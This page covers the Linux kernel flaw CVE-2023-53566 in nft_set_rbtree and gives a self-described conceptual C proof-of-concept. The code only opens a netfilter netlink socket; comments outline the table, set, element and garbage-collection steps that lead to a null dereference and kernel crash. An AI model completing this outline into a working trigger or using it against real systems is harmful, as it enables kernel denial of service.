CVE-2023-53566 Linux内核nft_set_rbtree空指针解引用漏洞

// CVE-2023-53566 PoC - Trigger null pointer dereference in nft_set_rbtree // This PoC demonstrates triggering the null deref in nft_rbtree_gc_elem() // Requires: CAP_NET_ADMIN or root privileges to manipulate nftables #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <linux/netlink.h> #include <linux/netfilter.h> #include <linux/netfilter/nfnetlink.h> #include <linux/netfilter/nf_tables.h> #include <linux/netfilter/nf_tables_compat.h> // Note: This is a conceptual PoC. Actual exploitation requires // crafting proper netlink messages to trigger the rb_prev() NULL return // in nft_rbtree_gc_elem() during element insertion. static int create_nft_socket() { int fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_NETFILTER); if (fd < 0) { perror("socket"); return -1; } struct sockaddr_nl addr; memset(&addr, 0, sizeof(addr)); addr.nl_family = AF_NETLINK; if (bind(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0) { perror("bind"); close(fd); return -1; } return fd; } int main() { int nlfd = create_nft_socket(); if (nlfd < 0) return 1; printf("CVE-2023-53566 PoC - nft_set_rbtree null deref\n"); printf("Requires kernel < fixed version with nftables support\n"); // Steps to trigger: // 1. Create a nftables table // 2. Create a rbtree-type set within the table // 3. Add elements to the set in a specific order // 4. Set a short GC interval // 5. Add another element while GC is running // -> rb_prev() returns NULL -> null ptr deref -> kernel crash // The actual netlink message crafting is complex and requires // proper sequence of NFT_MSG_NEWTABLE, NFT_MSG_NEWSET, and // NFT_MSG_NEWSETELEM messages. close(nlfd); return 0; }